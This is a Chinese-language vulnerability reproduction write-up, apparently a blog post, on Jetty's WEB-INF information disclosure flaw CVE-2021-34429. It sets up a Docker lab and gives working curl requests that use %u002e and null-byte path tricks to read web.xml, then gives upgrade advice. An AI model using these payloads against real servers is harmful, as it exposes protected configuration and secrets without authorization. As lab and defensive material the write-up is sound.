漏洞复现-Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-34429)

漏洞复现-Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-34429)

漏洞背景

CVE-2021-34429 是一个影响 Jetty 的安全漏洞,该漏洞是之前修复的 CVE-2021-28164 漏洞的变种和绕过。攻击者可以通过特定的路径构造绕过 Jetty 的路径限制,访问 WEB-INF 目录下的敏感文件,如 web.xml,导致敏感信息泄露。

漏洞原理
  • Unicode URL 编码:Jetty 在解析路径时,对 Unicode 形式的 URL 编码处理不当,导致攻击者可以通过 %u002e. 的 Unicode 编码)绕过路径限制。

  • \0 组合 ...:Jetty 在处理路径时,对 \0 字符的处理存在缺陷,攻击者可以通过在路径中插入 \0 字符,结合 ... 来绕过路径限制。

影响版本
  • Jetty 9.4.37 - 9.4.42
  • Jetty 10.0.1 - 10.0.5
  • Jetty 11.0.1 - 11.0.5
漏洞环境搭建
  1. 启动 Jetty 9.4.40 服务器

    使用 Docker 启动一个 Jetty 9.4.40 服务器:

    docker compose up -d
    

在这里插入图片描述

  1. 访问示例页面

    服务启动后,访问 http://your-ip:8080 可以查看到一个示例页面。
    在这里插入图片描述
    查看一下要读取的目标文件web.xml内容
    在这里插入图片描述

漏洞复现
  1. 直接访问 /WEB-INF/web.xml

    直接访问 /WEB-INF/web.xml 通常会返回 404 错误,因为 Jetty 默认不允许直接访问 WEB-INF 目录下的文件。

    curl http://your-ip:8080/WEB-INF/web.xml
    

    输出示例:

    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
    <title>Error 404 Not Found</title>
    </head>
    <body><h2>HTTP ERROR 404 Not Found</h2>
    ...
    </body>
    </html>
    
  2. 使用 Unicode 形式的 URL 编码绕过限制

    通过 Unicode 形式的 URL 编码构造路径,绕过 Jetty 的路径限制,访问 web.xml 文件:

curl http://192.168.253.138:8080/%u002e/WEB-INF/web.xml

在这里插入图片描述

其他绕过方式

除了 Unicode 形式的 URL 编码,攻击者还可以使用以下两种方式绕过限制:

  1. \0 组合 . 导致的绕过

    curl http://192.168.253.138:8080/.%00/WEB-INF/web.xml
    
  2. \0 组合 .. 导致的绕过

    curl http://192.168.253.138:8080/a/b/..%00/WEB-INF/web.xml
    

在这里插入图片描述

修复建议
  • 升级 Jetty:建议升级到 Jetty 9.4.43 或更高版本,或 Jetty 10.0.6、11.0.6 或更高版本,以修复此漏洞。

  • 安全配置:在生产环境中,确保对 WEB-INF 目录下的文件进行严格的访问控制,避免敏感信息泄露。

总结

通过特定的路径构造,攻击者可以绕过 Jetty 的路径限制,访问 WEB-INF 目录下的敏感文件。此漏洞影响多个 Jetty 版本,建议及时升级以修复漏洞,并加强服务器的安全配置。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值